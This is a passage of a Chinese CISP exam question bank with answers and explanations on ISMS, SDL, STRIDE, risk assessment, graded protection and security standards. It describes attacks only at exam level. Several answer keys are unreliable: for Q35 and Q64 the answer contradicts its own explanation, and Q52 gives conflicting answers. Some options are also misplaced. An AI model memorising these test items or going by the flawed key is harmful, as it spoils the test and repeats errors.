一级文件 中。\nA.《风险评估报告》 B.《人力资源安全管理规定》 C.《ISMS 内部审核计划》 D.《单位信息安全方针》 展开答案 答案：D 解释：教材 P99 一级文件中一般为 安全方针 、策略文件； 二级文件中一般为管理规范制度； 三级文件一般为操作手册和流程； 四级文件一般表单和管理记录。\n问题 27 信息安全管理体系（information Security Management System.简称 ISMS）的实施和运行ISMS 阶段，是 ISMS 过程模型的实施阶段（Do），下面给出了一些备①制定风险处理计划②实施风险处理计划③开发有效性测量程序④实施培训和意识教育计划⑤管理ISMS 的运行⑥管理 ISMS 的资源⑦执行检测事态和响应事件的程序⑧实施内部审核⑨实施风险再评估选的活动，选项（）描述了在此阶段组织应进行的活动。\nA.①②③④⑤⑥ B.①②③④⑤⑥⑦ C.①②③④⑤⑥⑦⑧ D.①②③④⑤⑥⑦⑧⑨ 展开答案 答案：B 解释：1-7 的工作都属于管理体系的实施阶段（D-Do），而 8 和 9 属于 检查阶段 （C-Check）。\n问题 28 微软 SDL 将软件开发生命周期制分为七个阶段，并列出了十七项重要的安全活动。其中“ 弃用不安全的函数 ”属于（）的安全活动。\nA.要求阶段 B.设计阶段 C.实施阶段 D.验证阶段 展开答案 答案：C 解释：教材 P398 SDL 将软件开发生命周期划分为 7 个阶段：\n阶段 描述 培训 针对开发团队和高层进行安全意识与能力的培训，以确保 SDL 能有效实施，同时能针对新的安全问题与形式持续提升团队的能力。 需求 通过安全需求分析，确定软件安全需要的安全标准和相关要求。 设计 通过分析攻击面，设计相应的功能和策略，降低和减少不必要的安全风险。同时通过威胁建模，分析软件或系统的安全威胁，提出缓解措施。 实现 按设计要求，实现对应功能和策略，以及缓解措施涉及的安全功能和安全策略。同时通过安全编码和禁用不安全 API ，减少实现时导致的安全问题，不引入编码级安全漏洞，并通过代码审计等措施来确保安全编码规范的实行。 验证 通过安全测试的手段，检测软件的安全漏洞，并全面核查攻击面，各个关键因素上的威胁缓解措施是否正确得以实现。 发布 建立相应的响应计划，进行最终安全核查，并完善相应的安全指导文档以提交给用户使用。 响应 响应安全事件与漏洞报告，实施漏洞修复和应急响应。同时发现新的问题与安全问题模式，学习到新的知识，将它们用于 SDL 的持续改进过程中。 培训、需求、设计、实现、验证、发布、响应。 其中弃用不安全的函数为编码 实施阶段 。\n卷二 问题 29 我国信息安全 先后经历启动、逐步展开和积极推进，以及深化落实三个阶段，以下关于我国信息安全保障各阶段说法 不正确 的是：\nA. 2001 国家信息化领导小组重组，网络与信息安全协调小组成立，我国信息安全保障工作正式启动 B. 2003 年 7 月，国家信息化领导小组制定出台了《关于加强信息安全保障工作的意见》（中办发 27 号文），明确了“积极防御、综合防范“的国家信息安全保障方针 C. 2003 年中办发 27 号文件的发布标志着我国信息安全保障进入深化落实阶段 D. 在深化落实阶段，信息安全法律法规、标准化，信息安全基础设施建设，以及信息安全等级保护和风险评估取得了新进展。 展开答案 答案：C 解释：2006 年进入到深化落实阶段。\n问题 30 我国信息安全保障建设包括信息安全组织与管理体制、基础设施、技术体系等方面，以下关于安全保障建设主要工作内容说法不正确的是：\nA. 建全国家信息安全组织与管理体制机制，加强信息安全工作的组织保障 B. 建设信息安全基础设施，提供国家信息安全保障能力支撑 C. 建立信息安全技术体系，实现国家信息化发展的自主创新 D. 建立信息安全人才培养体系，加快信息安全学科建设和信息安全人才培养 展开答案 答案：C 解释：实现自主创新在过去的的保障中为 自主可控 。\n问题 31 信息安全测评是指依据相关标准，从安全功能等角度对信息技术产品、信息系统、服务提供商以及人员进行测试和评估，以下关于信息安全测评说法 不正确 的是：\nA. 信息产品安全评估是测评机构的产品的安全性做出的独立评价，增强用户对已评估产品安全的信任 B. 目前我国常见的信息系统安全测评包括信息系统风险评估和信息系统安全保障测评两种类型 C. 信息安全工程能力评估是对信息安全服务提供者的资格状况、技术实力和实施服务过程质量保证能力的具体衡量和评价。 D. 信息系统风险评估是系统地分析网络与信息系统所面临的威胁及其存在的脆弱性，评估安全事件可能造成的危害程度，提出游针对性的安全防护策略和整改措施 展开答案 答案：B 解释：信息系统安全测评包括风险评估、保障测评和等级保护测评 3 种测评。\n问题 32 分组密码算法是一类十分重要的密码算法，下面描述中， 错误 的是（）：\nA.分组密码算法要求输入明文按组分成固定长度的块 B.分组密码的算法每次计算得到固定长度的密文输出块 C.分组密码算法也称作序列密码算法 D.常见的 DES、IDEA 算法都属于分组密码算法 展开答案 答案：C 解释：教材 P273\n按对明文的处理方式，可将对称密码体制分为分组密码( Block cipher )和流密码( Stream cipher)。\n密码 说明 分组密码 是将明文分成固定长度的组，用同一密钥和算法对每一块加密，对每个输入块产生一个输出块，输出也是固定长度的密文。典型的分组密码算法有 DES AES 等。 流密码 也称序列密码，是将明文消息按字符逐位地加密，连续地处理输人明文，并随着该加密的进行，一次产生一个密文的输出，即一次加密一个比特或一个字节。典型的例子如一次一密( One-time padding) 流密码也称序列密码，分组密码算法和序列算法是两种算法\n问题 33 异常入侵检测是入侵检测系统常用的一种技术，它是识别系统或用户的非正常行为或者对于计算机资源的非正常使用，从而检测出入侵行为。下面说法错误的是：\nA.在异常入侵检测中，观察的不是已知的入侵行为，而是系统运行过程中的异常现象 B.实施异常入侵检测，是将当前获取行为数据和已知入侵攻击行为特征相比较，若匹配则认为有攻击发生 C.异常入侵检测可以通过获得的网络运行状态数据，判断其中是否含有攻击的企图，并通过多种手段向管理员报警 D.异常入侵检测不但可以发现从外部的攻击，也可以发现内部的恶意行为 展开答案 答案：B 解释：异常入侵检测主要监测的是异常现象，误用入侵检测（或特征检测）才是将当前获取行为数据和已知入侵攻击行为特征相比较，若匹配则认为有攻击发生。\n问题 34 以下关于 SMTP 和 POP3 协议的说法哪个是 错误 的 C SMTP 和 POP3 协议缺乏严格的用户认证，因此导致了垃圾邮件问题\nA.SMTP 和 POP3 协议是一种基于 ASCII 编码的请求/响应模式的协议 B.SMTP 和 POP3 协议铭文传输数据，因此存在数据泄露的可能 D.SMTP 和 POP3 协议由于协议简单，易用性更高，更容易实现远程管理邮件 展开答案 答案：D 解释：教材 P382 IMAP 与 POP3 相比，IMAP 无须下载邮件全部内容，可以直接在客户端上对邮件进行操作（管理）。\n问题 35 下面有关软件安全问题的描述中，哪项是由于 软件设计缺陷 引起的（）\nA.设计了三层Ｗｅｂ架构，但是软件存在ＳＱＬ注入漏洞，导致被黑客攻击后能直接访问数据库 B.使用Ｃ语言开发时，采用了一些存在安全问题的字符串处理函数，导致存在缓冲区溢出漏洞 C.设计了缓存用户隐私数据机制以加快系统处理性能，导致软件在发布运行后，被黑客攻击获取到用户隐私数据 D.使用了符合要求的密码算法，但在使用算法接口时，没有按照要求生成密钥，导致黑客攻击后能破解并得到明文数据 展开答案 答案：C 解释：此题正确答案应该为 A。C 的问题在于没有平衡好性能和安全，更像是安全策略上的失误。\n问题 36 软件存在漏洞和缺陷是不可避免的，实践中常使用软件缺陷密度（Ｄｅｆｅｃｔｓ／ＫＬＯＣ）来衡量软件的安全性，假设某个软件共有２９.６万行源代码，总共被检测出１４５个缺陷，则可以计算出其软件缺陷密度值是：\nA.０.０００４９ B.０.０４９ C.０.４９ D.４９ 展开答案 答案：C 解释：缺陷密度 = 缺陷数量 / 代码行数 (KLOC) 缺陷数量 = 145 代码行数 = 29.6 万行 = 296 KLOC (因为 1 KLOC = 1000 行代码) 缺陷密度 = 145 / 296 ≈ 0.49\n问题 37 某网站为了开发的便利， 使用 SA 链接数据库 ，由于网站脚本中被发现存在 SQL 注入漏洞，导致攻击者利用内置存储过程 XP.cmctstell 删除了系统中的一个重要文件，在进行问题分析时，作为安全专家，你应该指出该网站设计违反了以下哪项原则：\nA.权限分离原则 B.最小特权原则 C.保护最薄弱环节的原则 D.纵深防御的原则 展开答案 答案：B 解释：SA 是系统管理员（System Administrator），该帐户拥有数据库的最高权限。使用 SA 帐户连接数据库违反了最小特权原则。\n问题 38 微软提出了 STRIDE 模型，其中 Repudation（抵赖）的缩写，关于此项安全要求，下面描述 错误 的是（）\nA.某用户在登陆系统并下载数据后，却声称“我没有下载过数据”，软件系统中的这种威胁就属于 R 威胁 B.解决 R 威胁，可以选择使用抗抵赖性服务技术来解决，如强认证、数字签名、安全审计等技术措施 C.R 威胁是 STRIDE 六种威胁中第三严重的威胁，比 D 威胁和 E 威胁的严重程度更高 D.解决 R 威胁，也应按照确定建模对象、识别威胁、评估威胁以及消减威胁等四个步骤来进行 展开答案 答案：C 解释： STRIDE 代表 6 种威胁的简称，无严重程度之分。\n威胁 威胁（中文） 定义 举例 Spoofing 哄骗 模仿其他人或实体 伪装成 microsoft.com 或ntdll.dll Tampering 篡改 修改数据或代码 修改硬盘、DVD或网络数据包中的DLL Repudiation 抵赖 声称没有执行某个动作 “我没有发送过那封电子邮件”“我没有修改过那个文件”“亲爱的,我确实没有访问过那个网站!” Information Disclosure 信息泄露 把信息披露给那些无权知道的人 允许某人阅读 Windows 源代码;公布某个Web网站的用户清单 Denial of Service 拒绝服务 拒绝为用户提供服务 使得 Windows 或Web网站崩溃,发送数据包并耗尽CPU时间,将数据包路由到某黑洞中 Elevation of Privilege 权限提升 获得非授权访问权 允许远程互联网用户执行命令,让受限用户获得管理员权限 问题 39 以下哪项制度或标准被作为我国的一项基础制度加以推行，并且有一定强制性，其实施的主要目标是有效地提高我国信息和信息系统安全建设的整体水平，重点保障 基础 信息网络和 重要 信息系统的安全（）\nA.信息安全管理体系（ISMS） B.信息安全等级保护 C.NIST SP800 D.ISO 270000 系统 展开答案 答案：B 解释：教材 P75 网络安全等级保护制度（信息安全等级保护制度）是一项基本制度。重点保障基础信息网络和重要信息系统则体现了它的针对性。\n问题 40 某单位的信息安全主管部门在学习我国有关信息安全的政策和文件后，认识到信息安全风险评估分为自评估和检查评估两种形式，该部门将有检查评估的特点和要求整理成如下四条报告给单位领导，其中描述 错误 的是\nA.检查评估可依据相关标准的要求，实施完整的风险评估过程；也可在自评估的基础上，对关键环节或重点内容实施抽样评估 B.检查评估可以由上级管理部门组织，也可以由本级单位发起，其重点是针对存在的问题进行检查和评测 C.检查评估可以由上级管理部门组织，并委托有资质的第三方技术机构实施 D.检查评估是通过行政手段加强信息安全管理的重要措施，具有强制性的特点 展开答案 答案：B 解释：教材 P247 检查评估由被评估组织的 上级主管机关或业务主管机关 发起的，依据国家有关法规与标准，对信息系统及其管理进行的具有 强制性 的检查活动。\n问题 41 规范的实施流程和文档管理，是信息安全风险评估能否取得成果的重要基础，按照规范的风险评估实施流程，下面哪个文档应当是 风险要素识别阶段 的输出成果（）\nA.《风险评估方案》 B.《需要保护的资产清单》 C.《风险计算报告》 D.《风险程度等级列表》 展开答案 答案：B 解释：风险要素包括资产、威胁、脆弱性、安全措施\n问题 42 在信息安全管理的实施过程中，管理者的作用于信息安全管理体系能否成功实施非常重要，但是一下选项中 不属于管理者 应有职责的是（）\nA.制定并颁发信息安全方针，为组织的信息安全管理体系建设指明方向并提供总体纲领，明确总体要求 B.确保组织的信息安全管理体系目标和相应的计划得以制定，目标应明确、可度量，计划应具体、可事实 C.向组织传达满足信息安全的重要性，传达满足信息安全要求、达成信息安全目标、符合信息安全方针、履行法律责任和持续改进的重要性 D.建立健全信息安全制度，明确安全风险管理作用，实施信息安全风险评估过程、确保信息安全风险评估技术选择合理、计算正确 展开答案 答案：D 解释：D 选项描述的是信息安全管理体系中的具体操作，更适合由专业人员来执行，而不是管理者的职责。\n问题 43 信息安全管理体系（Information Security Management System ,ISMS）的内部审核和管理审核是两项重要的管理活动，关于这两者，下面描述的 错误 是\nA.内部审核和管理评审都很重要，都是促进 ISMS 持续改进的重要动力，也都应当按照一定的周期实施 B.内部审核的实施方式多采用文件审核和现场审核的形式，而管理评审的实施方式多采用召开管理评审会议形式进行 C.内部审核的实施主体组织内部的 ISMS 内审小组，而管理评审的实施主体是由国家政策指定的第三方技术服务机构 D.组织的信息安全方针、信息安全目标和有关 ISMS 文件等，在内部审核中作为审核标准使用，但在管理评审总，这些文件时被审对象 展开答案 答案：C 解释：管理评审不强制要求由第三方机构执行，组织可以选择内部进行或委托外部机构协助。\n问题 44 对信息安全事件的分级参考下列三个要素：信息系统的重要程度、系统损失和社会影响，依据信息系统的重要程度对信息进行划分，不属于正确划分级别的是：\nA.特别重要信息系统 B.重要信息系统 C.一般信息系统 D.关键信息系统 展开答案 答案：D 解释：教材 P146 系统损失被划分为 特别严重 的系统损失、 严重 的系统损失、 较大 的系统损失和 较小 的系统损失 4 个级别。 并未定义关键信息的系统损失。\n问题 45 恢复时间目标（RTO）和恢复点目标（RPO）是信息系统灾难恢复中的重要概念，关于这两个值能否为零，正确的选项是（）\nA.RTO 可以为 0，RPO 也可以为 0 B.RTO 可以为 0，RPO 不可以为 0 C.RTO 不可以为 0，但 RPO 可以为 0 D.RTO 不可以为 0，RPO 也不可以为 0 展开答案 答案：A 解释：教材 P156 RPO 越小，灾备的性能越好，如果 RPO=O ，说明数据是实时备份，不会出现数据丢失的情况。 RTO 越小，系统从故障中恢复的时间就越短，说明系统从灾难中恢复能力就越强，如果 RTO=O 那么服务就不会中断。\n问题 46 系统工程的模型之一霍尔三维结构模型由时间维、逻辑维和知识维组成。有关此模型，错误的是：\nA. 霍尔三维机构体系形成地描述了系统工程研究的框架 B. 时间维表示系统工程活动从开始到结束按照时间顺序排列的全过程 C. 逻辑维的七个步骤与时间维的七个阶段严格对应，即时间维第一阶段应执行逻辑维第一步骤的活动，时间维第二阶段应执行逻辑维第二步骤的活动 D. 知识维列举可能需要运用的工程、医学、建筑、商业、法律、管理、社会科学和艺术等各种知识和技能 展开答案 答案：C 解释：霍尔三维模型是一种系统思想，无法实现严格的对应。\n问题 47 有关系统安全工程-能力成熟度模型（SSE-CMM）中的通用实施（Generic Practices ，GP）错误理解是：\nA. GP 是涉及过程的管理、测量和制度化方面的活动 B. GP 适用于域维中部分过程区域（Process Aractices ，PA）活动而非所有 PA 的活动 C. 在工程实施时，GP 应该作为基本实施（ Base Practices，BP）的一部分加以执行 D. 在评估时，GP 用于判定工程组织执行某个 PA 的能力 展开答案 答案：B 解释：GP 适用于域维中所有 PA 活动\n问题 48 在使用系统安全工程-能力成熟度模型（SSE-CCM）对一个组织的安全工程能力成熟度进行测量时，有关测量结果，错误的理解是：\nA. 如果该组织在执行某个特定的过程区域时具备了一个特定级别的部分公共特征时，则这个组织在这个过程区域的能力成熟度未达到此级 B. 如果该组织某个过程区域（Process Areas，PA）具备了“定义标准过程”、“执行已定义的过程”两个公共特征，则此过程区域的能力成熟度级别达到 3 级“充分定义级” C. 如果某个过程区域（Process Areas，PA）包含 4 个基本实施（Base Practices，BP），执行此 PA 时执行了 3 个 BP，则此过程区域的能力成熟度级别为 0 D. 组织在不同的过程区域的能力成熟度可能处于不同的级别上 展开答案 答案：B 解释：SSE-CMM 充分定义级包括 三个特征 ，为“定义标准过程”、“执行已定义的过程”、“安全协调实施”。B 答案中只描述了两个公共特征\n问题 49 北京某公司利用 SSE-CMM 对其自身工程队伍能力进行自我改善，其理解 正确 的是：\nA. 系统安全工程能力成熟度模型（SSE-CMM）定义了 6 个能力级别，当工程队不能执行一个过程域中的基本实践时，该过程域的过程能力为 0 级 B. 达到 SSE-CMM 最高级以后，工程队伍执行同一个过程，每次执行结果质量必须相同。 C. 系统安全工程能力成熟度模型（SSE-CMM）定义了 3 个风险过程：评价威胁，评价脆弱性，评价影响。 D. SSE-CMM 强调系统安全工程与其他工程科学的区别和独立性。 展开答案 答案：A 解释： A 当工程队不能执行一个过程域中的基本实践时，该过程域的过程能力为 0 级。 B 错误，每次质量结果难以相同。 C 错误，SSE-CMM 定义了一个风险过程，包括四个部分，评估影响、评估威胁、评估脆弱性、评估安全风险。 D 错误，SSE-CMM 强调的是关联性而非独立性。\n问题 50 系统安全工程-能力成熟度模型（SSE-CMM）定义的包含评估威胁、评估脆弱性、评估影响和评估安全风险的基本过程领域是：\nA. 风险过程 B. 工程过程 C. 保证过程 D. 评估过程 展开答案 答案：A 解释：风险过程包括评估影响、评估威胁、评估脆弱性和评估安全风险\n问题 51 具有行政法律责任强制的安全管理规定和 安全制度 包括 1\u0026gt;安全事件（包括安全事故）报告制度 2\u0026gt;安全等级保护制度 3\u0026gt;信息系统安全监控 4\u0026gt;安全专用产品销售许可证制度\n展开答案 答案：A 解释：1、2、4 均为管理规定和安全制度。\n问题 52 信息系统建设完成后，（ ）的信息系统的运营使用单位应当选择符合国家规定的测评机构进行测评合格后方可投入使用\nA. 二级以上 B. 三级以上 C. 四级以上 D. 五级以上 展开答案 答案：B 解释：教材 P78 答案为 B，三级以上默认包括本级。\n根据教材，正确答案应为 A. 二级以上，并未说明包含本级。\n问题 53 为了保障 网络安全 ，维护网络安全空间主权和国家安全、社会公共利益，保护公民、法人和其他组织的合法权益，促进经济社会信息化健康发展，加强在中华人民共和国境内建设、运营、维护和使用网络，以及网络安全的监督管理，2015 年 6 月，第十二届全国人大常委会第十五次会议初次审议了一部法律草案，并与 7 月 6 日起在网上全文公布，向社会公开征求意见，这部法律草案是（）\nA.《中华人民共和国保守国家秘密法（草案）》 B.《中华人民共和国网络安全法（草案）》 C.《中华人民共和国国家安全法（草案）》 D.《中华人民共和国互联网安全法（草案）》 展开答案 答案：B 解释：答案为 B\n问题 54 为了进一步提高信息安全的保障能力和防护水平，保障和促进信息化建设的健康发展，公安部等 4 部分联合发布《关于信息安全等级保护工作的实施意见》(公通字[2004]66 号)，对等级保护工作的开展提供宏观指导和约束，明确了等级保护工作的基本内容、工作要求和实施计划，以及各部门工作职责分工等，关于该文件，下面理解正确的是\nA. 该文件时一个由部委发布的政策性文件，不属于法律文件 B. 该文件适用于 2004 年的等级保护工作，其内容不能越苏到 2005 年及之后的工作 C. 该文件时一个总体性指导文件，规定了所有信息系统都要纳入等级保护定级范围 D. 该文件使用范围为发文的这四个部门，不适用于其他部门和企业等单位 展开答案 答案：A 解释：答案为 A\n问题 55 CC 标准是目前系统安全认证方面最权威的标准，哪一项不是体现 CC 标准的 先进性 ？\nA. 结构开放性，即功能和保证要求可以“保护轮廓”和“安全目标”中进行一步细化和扩展 B. 表达方式的通用性，即给出通用的表达方式 C. 独立性，它强调将安全的功能和保证分离 D. 实用性，将 CC 的安全性要求具体应用到 IT 产品的开发、生产、测试和评估过程中 展开答案 答案：C 解释：ITSEC 最早强调功能和保证的分离，不是 CC 的先进性。\n问题 56 对于 数字证书 而言，一般采用的是哪个标准？ B B.802.11\nA. ISO/IEC 1540 C. GB/T 20984 D. X.509 展开答案 答案：D 解释：教材 P287 国际标准 X.509 定义一个规范的数字证书格式，是 PKI 技术体系中应用最广泛、也是最基础的一个国际标准。\n问题 57 在可信计算机系统评估准则（TCSEC）中，下列哪一项是满足 强制保护要求的最低级别 ？\nA.C2 B.C1 C.B2 D.B1 展开答案 答案：D 解释：教材 P230 TCSEC 通过分级的方式建立评价指标，其定义了 4 个级别: D (最小保护)、C (选择保护)、B (强制保护)和 A (验证保护) 。 其中 A 级具有最高的安全性。在 C、B、A 级别中又建立了一系列细分，称为类别 C1、C2、 B1 、B2、B3 和 A1。 D: 最小保护 C: 选择保护 B：强制保护 A：验证保护\n问题 58 2005 年，RFC4301（Request for Comments 4301：Security Architecture for the Intermet Protocol）发布，用以取代原先的 RFC2401，该标准建议规定了 IPsec 系统基础架构，描述如何在 IP 层（IPv4/IPv6）为流量提供安全业务，请问此类 RFC 系列标准建设是由 哪个组织发布 的（）\nA.国际标准化组织 B.国际电工委员会 C.国际电信联盟远程通信标准化组织 D.Internet 工程任务组 展开答案 答案：D 解释：教材 P67 Intemet 工程任务组 (IETF) 创建于 1986 年，其主要任务是 负责互联网相关技术规范的研发和制定 ，著名的 IKE IPsec 都在 RFC 系列之中，还有电子邮件、网络认证和密码标准，也包括了 TLS 标准和其他的安全协议标准。\n问题 59 GB/T18336《信息技术安全性评估准则》（CC）是测评标准类中的重要标准，该标准定义了保护轮廓（Protection Profile ，PP ）和安全目标（Security Target ，ST）的评估准则，提出了评估保证级（Evaluation Assurance Level，EAL）,其评估保证级共分为（）个递增的评估保证等级\nA.4 B.5 C.6 D.7 展开答案 答案：D 解释：教材 P236\n问题 60 信息安全工程监理的职责包括：\nA.质量控制、进度控制、成本控制、合同管理、信息管理和协调 B.质量控制、进度控制、成本控制、合同管理和协调 C.确定安全要求、认可设计方案、监视安全态势、建立保障证据和协调 D.确定安全要求、认可设计方案、监视安全态势和协调 展开答案 答案：A 解释：A 为监理的内容。\n问题 61 对涉密系统进行 安全保密测评 应当依据以下哪个标准?\nA.BMB20-2007《涉及国家秘密的计算机信息系统分级保护管理规范》 B.BMB22-2007《涉及国家秘密的计算机信息系统分级保护测评指南》 C.GB17859-1999《计算机信息系统安全保护等级划分准则》 D.GB／T20271-2006《信息安全技术信息系统统用安全技术要求》 展开答案 答案：B 解释：B 为正确答案。\n问题 62 以下哪一项 不是 我国国务院信息化办公室为加强信息安全保障明确提出的九项重点工作内容之一?\nA.提高信息技术产品的国产化率 B.保证信息安全资金投入 C.加快信息安全人才培养 D.重视信息安全应急处理工作 展开答案 答案：A 解释：提高信息技术产品的国产化率不属于九项重点工作内容之一。\n问题 63 根据信息安全风险要素之间的关系，下图中空白处应该填写（）\n+\u0026mdash;\u0026mdash;\u0026mdash;+ 利用 +\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;+ 增加 +\u0026mdash;\u0026mdash;\u0026ndash;+ | 威胁 | \u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026gt; | 空白部分 | \u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026gt; | 风险 | +\u0026mdash;\u0026mdash;\u0026mdash;+ +\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;+ +\u0026mdash;\u0026mdash;\u0026ndash;+\nA、资产 B、安全事件 C、脆弱性 D、安全措施\n展开答案 答案：C 解释： 信息安全风险要素之间的关系可以总结为： 威胁 利用脆弱性对资产进行攻击，从而导致安全事件的发生，而安全事件会对组织造成影响或损失。\n卷三 问题 64 以下哪个选项不是防火墙提供的安全功能?\nA．IP 地址欺骗防护 B．NAT C．访问控制 D．SQL 注入攻击防护\n展开答案 答案：A 解释： 正确答案应为D，防火墙提供的安全功能包括访问控制、NAT、IP 地址欺骗防护等，但 不提供SQL注入攻击防护 。SQL注入攻击防护通常由Web应用防火墙（WAF）提供。 题库答案为A。\n问题 65 以下关于可信计算说法错误的是： A．可信的主要目的是要建立起主动防御的信息安全保障体系 B．可信计算机安全评价标准(TCSEC)中第一次提出了可信计算机和可信计算基的概念 C．可信的整体框架包含终端可信、终端应用可信、操作系统可信、网络互联可信、互联网交易等应用系统可信 D．可信计算平台出现后会取代传统的安全防护体系和方法\n展开答案 答案：D 解释： 可信计算与传统安全防护体系相辅相成，共同提高整体安全水平，而不是简单的替代关系。\n问题 66 以下哪个拒绝服务攻击方式不是流量型拒绝服务攻击 A．Land B．UDP Flood C．Smurf\nD.Teardrop 展开答案 答案：D 解释： Land、UDP Flood 和 Smurf 都属于流量型拒绝服务攻击，它们分别通过向目标发送大量伪造的 SYN 数据包（Land 攻击中源地址和目的地址相同）、UDP 数据包（UDP Flood）或利用广播地址放大攻击流量（Smurf）来实现。相比之下，Teardrop 攻击是一种利用操作系统处理 IP 分片的漏洞来实现的攻击。它通过向目标系统发送重叠或畸形的 IP 分片，使得目标系统在重组分片数据包时出现异常，从而导致系统崩溃或重启，这种攻击并不依赖于生成大量流量来达到目的。因此，Teardrop 不属于流量型拒绝服务攻击。\n问题 67 关于源代码审核，下列说法正确的是： A．人工审核源代码审校的效率低，但采用多人并行分析可以完全弥补这个缺点 B．源代码审核通过提供非预期的输入并监视异常结果来发现软件故障，从而定位可能导致安全弱点的薄弱之处 C．使用工具进行源代码审核，速度快，准确率高，已经取代了传统的人工审核\nD. 源代码审核是对源代码检查分析，检测并报告源代码中可能导致安全弱点的薄弱之处 展开答案 答案：D 解释：教材 P415 B 描述的是模糊测试（Fuzz Testing），D 是源代码审核的定义。\n问题 68 在戴明环(PDCA)模型中，处置(ACT)环节的信息安全管理活动是： A．建立环境 B．实施风险处理计划 C．持续的监视与评审风险\nD. 持续改进信息安全管理过程 展开答案 答案：D 解释： 处置（Act）阶段涉及的是基于之前监测和审查的结果采取行动，以持续改进过程。\n问题 69 信息系统的业务特性应该从哪里获取? A．机构的使命 B．机构的战略背景和战略目标 D．机构的组织结构和管理制度\nC. 机构的业务内容和业务流程 展开答案 答案：C 解释： 信息系统的 业务特性 应当从机构的 业务内容 和 业务流程 中获取。这是因为信息系统的设计和实施是为了支持和优化业务流程，提高业务效率和效果。 选项中带“业务”。\n问题 70 在信息系统设计阶段，“安全产品选择”处于风险管理过程的哪个阶段? A．背景建立 B．风险评估 C．风险处理 D．批准监督\n展开答案 答案：C 解释： 在信息系统设计阶段，“安全产品选择”处于风险管理过程的“风险处理”阶段（C）。在这个阶段，组织会根据之前的风险评估结果，选择并实施相应的 控制措施 来应对已识别的风险，其中包括选择合适的安全产品和技术来加强信息系统的安全性。\n问题 71 信息系统安全保护等级为 3 级的系统，应当()年进行一次等级测评?\nA. 0.5 B. 1 C. 2 D. 3 展开答案 答案：B 解释：\n等级 安全保护等级名称 等级测评频率 1 自主保护级 原则上不做硬性规定，可根据实际情况自行安排 2 指导保护级 建议每两年至少进行一次等级测评 3 监督保护级 每年至少进行一次等级测评 4 强制保护级 每半年至少进行一次等级测评 5 专控保护级 根据特殊要求，可能需要更频繁的测评 问题 72 国家科学技术秘密的密级分为绝密级、机密级、秘密级，以下哪项属于 绝密级 的描述? A．处于国际先进水平，并且有军事用途或者对经济建设具有重要影响的 B．能够局部反应国家防御和治安实力的 C．我国独有、不受自然条件因素制约、能体现民族特色的精华，并且社会效益或者经济效益显著的传统工艺 D．国际领先，并且对国防建设或者经济建设具有特别重大影响的\n展开答案 答案：D 解释： 《秘密法》第十条规定国家秘密的密级分为绝密、机密、秘密三级。\n密级 描述 绝密级 国际领先，并且对国防建设或者经济建设具有特别重大影响的科技秘密, 能够导致高新技术领域突破的科技秘密, 能够整体反映国家防御和治安实力的科技秘密。 机密级 处于国际先进水平，并且有军事用途或者对经济建设具有重要影响的科技秘密，能够局部反映国家防御和治安实力的科技秘密，我国独有、不受自然条件因素制约、能体现民族特色的精华，并且社会效益或者经济效益显著的传统工艺。 秘密级 具有一定重要性的科技秘密，泄露后会对国家安全和利益造成损害，但不如前两者严重。 问题 73 关于我国 加强信息安全保障工作 的总体要求，以下说法错误的是： A．坚持积极防御、综合防范的方针 B．重点保障基础信息网络和重要信息系统安全 C．创建安全健康的网络环境 D．提高个人隐私保护意识\n展开答案 答案：D 解释： 尽管个人隐私保护意识的提高对于信息安全非常重要，但这更多地被看作是信息安全保障工作的一个 组成部分或结果 ，而不是其核心要求。\n问题 74 根据 《关于加强国家电子政务工程建设项目信息安全风险评估工作的通知》的规定，以下正确的是： A．涉密信息系统的风险评估应按照 《信息安全等级保护管理办法》等国家有关保密规定和标准进行 B．非涉密信息系统的风险评估应按照 《非涉及国家秘密的信息系统分级保护管理办法》等要求进行 C．可委托同一专业测评机构完成等级测评和风险评估工作，并形成等级测评报告和风险评估报告 D．此通知不要求将 “信息安全风险评估”作为电子政务项目验收的重要内容\n展开答案 答案：C 解释： 实践中可以委托同一专业测评机构完成等级测评和风险评估工作，并形成等级测评报告和风险评估报告。\n非涉密信息系统的信息安全风险评估，通常是依据国家发布的信息安全技术标准，例如GB/T 20984《信息安全技术 信息安全风险评估规范》来进行的。这一标准提供了风险评估的方法论，包括风险识别、风险分析、风险评价、风险处理等环节，以确保信息系统能够达到相应的安全要求。因此， 选项B 提到的“按照《非涉及国家秘密的信息系统分级保护管理办法》等要求进行”并不准确，正确的做法应该是依据适用的信息安全技术和管理标准进行风险评估。\n问题 75 下列选项中，哪个 不是 我国信息安全保障工作的主要内容： A．加强信息安全标准化工作，积极采用 “等同采用、修改采用、制定”等多种方式，尽快建立和完善我国信息安全标准体系 B．建立国家信息安全研究中心，加快建立国家急需的信息安全技术体系，实现国家信息安全自主可控目标 C．建设和完善信息安全基础设施，提供国家信息安全保障能力支撑 D．加快信息安全学科建设和信息安全人才培养\n展开答案 答案：B 解释： B选项虽然表述上强调了信息安全技术研究和自主可控，但在实际的政策和战略框架下，这并不是直接列为信息安全保障工作主要内容的方式。\n问题 76 关于信息安全管理，说法错误的是： A．信息安全管理是管理者为实现信息安全目标(信息资产的 CIA 等特性，以及业务运作的持续)而进行的计划、组织、指挥、协调和控制的一系列活动。 B．信息安全管理是一个多层面、多因素的过程，依赖于建立信息安全组织、明确信息安全角色及职责、制定信息安全方针策略标准规范、建立有效的监督审计机制等多方面非技术性的努力。 C．实现信息安全，技术和产品是基础，管理是关键。 D．信息安全管理是人员、技术、操作三者紧密结合的系统工程，是一个静态过程。\n展开答案 答案：D 解释： 信息安全管理实际上是一个 动态过程 ，需要不断地适应新的威胁、技术和业务环境的变化。\n问题 77 以下哪个选项不是信息安全需求的来源? A．法律法规与合同条约的要求 B．组织的原则、目标和规定 C．风险评估的结果 D．安全架构和安全厂商发布的病毒、漏洞预警\n展开答案 答案：D 解释： 安全需求来源于内部驱动，D 是外部参考要素，不属于信息安全需求的主要来源。\n问题 78 风险评估工具的使用在一定程度上解决了手动评佑的局限性，最主要的是它能够将专家知识进行集中，使专家的经验知识被广泛使用，根据在风险评估过程中的主要任务和作用愿理，风险评估工具可以为以下几类，其中错误的是：A．风险评估与管理工具B．系统基础平台风险评估工具C．风险评估辅助工具D．环境风险评估工具答案：D解释：通常情况下信息安全风险评估工具不包括环境评估工具。\n展开答案 无解释。 ","permalink":"https://www.clearsec.org/posts/read/cispexam/","summary":"\u003ch1 id=\"卷一\"\u003e卷一\u003c/h1\u003e\n\u003ch2 id=\"问题-1\"\u003e问题 